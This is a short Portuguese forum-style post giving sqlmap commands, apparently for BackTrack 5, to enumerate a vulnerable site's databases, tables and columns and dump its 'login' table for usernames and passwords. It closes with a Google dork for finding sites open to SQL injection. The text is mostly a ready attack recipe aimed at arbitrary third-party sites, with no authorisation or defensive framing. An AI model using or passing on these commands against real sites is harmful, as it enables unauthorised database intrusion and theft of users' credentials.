

Olá galera venho aqui trazer comandos do programa SqlMap do BackTrack 5

`cd /pentest/scanners/web/sqlmap` ---- Comando no Root para abrir o SqlMap sem procurar ele nos APP

`python ./sqlmap.py -u http://SITEVUNERAVEL...icias.php?id=43 --dbs` -- Comando para mostrar a Database do site

`python ./sqlmap.py -u http://SITEVUNERAVEL...icias.php?id=43 -D 'database' --tables` -- Comando para mostrar as tabelas do Database

`python ./sqlmap.py -u http://SITEVUNERAVEL...icias.php?id=43 -D 'database' -T "login" --columns`
-- Comando para mostrar as colunas da tabela
OU

`python ./sqlmap.py -u http://SITEVUNERAVEL...icias.php?id=43 -T "login" --dump`

Pronto galera, e isso , nesse momento vocês devem ter encontrado login e senha (As senhas podem vir criptografadas)

By: UNFØRG3TT4BL3

PS : O site utilizado acima e apenas para teste, ele nao sera exatamente nessa forma, mais deverar de o id=
Comando para encontrar site vulneravel ao SQLI

inurl:noticias.php?id=. basta apenas digitar no google